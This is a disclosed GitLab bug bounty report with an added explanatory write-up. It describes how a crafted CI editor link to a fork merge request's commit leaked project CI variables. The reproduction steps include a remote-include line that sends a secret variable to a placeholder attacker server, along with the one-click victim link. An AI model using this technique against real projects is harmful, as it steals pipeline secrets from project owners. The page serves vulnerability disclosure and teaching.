Backend: Leaking CI variables by visiting the CI Editor via fork MRs
A project member could be tricked into clicking a link to the CI editor that used a fork merge request's commit SHA, causing the CI configuration to include a remote file whose URL contained a CI variable, leaking that variable to an attacker server. An attacker could steal CI variables by getting a victim to click a crafted link.
GitLab
Originally disclosed on GitLab
- Fixed in 7 months
- Disclosed after 7 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #1890451 by shells3c on 2023-03-02, assigned to GitLab Team:
Report | How To Reproduce
Report
SSOT
Refer to https://gitlab.com/gitlab-org/gitlab/-/issues/417275
Summary
By clicking on a link, project members can leak CI variables of their project to hackers
Steps to reproduce
- [Victim account] Create a project, create a CI variable in General > CI/CD > Variables named
xxx_variable - [Attacker account] Fork the project, and edit the CI configuration (
.gitlab-ci.ymlby default) with the following content (replace<ATTACKER SERVER>with your server):
include:
remote: 'http://<ATTACKER SERVER>/${xxx_variable}.yaml'
- [Attacker account] Create a merge request with the previous change, save the commit SHA
- [Victim account] Visit this link (with
<sha>replaced) and the variable will be sent to the attacker server:https://gitlab.com/<user>/<project>/-/ci/editor?branch_name=<sha>
Output of checks
This bug happens on GitLab.com
Impact
Steal CI variables by one click
How To Reproduce
Please add reproducibility information to this section:
Proposal
Please read this thread: https://gitlab.com/gitlab-org/gitlab/-/issues/394964#note_1416011415
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CI editor loaded and evaluated the CI configuration from a fork merge request's commit without isolating it from the target project's CI variables, allowing variable expansion in a remote include URL.
Impact
An attacker could steal CI variables by getting a project member to click a link.
What the attacker needed
Victim is a project member; victim clicks a crafted link; attacker has a fork of the project
How it was found
- Victim creates a project and a CI variable named xxx_variable.
- Attacker forks the project and edits the CI configuration to include a remote file from their server with the variable in the URL.
- Attacker creates a merge request with that change and saves the commit SHA.
- Victim visits the CI editor link with the commit SHA as branch_name, and the variable is sent to the attacker server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CI variables are secret values used in automated build pipelines. A fork is a copy of a project. The attacker made a merge request in their fork that told the pipeline to fetch a file from the attacker's server, and put a secret variable name in the web address. When the victim opened a special editor link, the secret was sent to the attacker.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.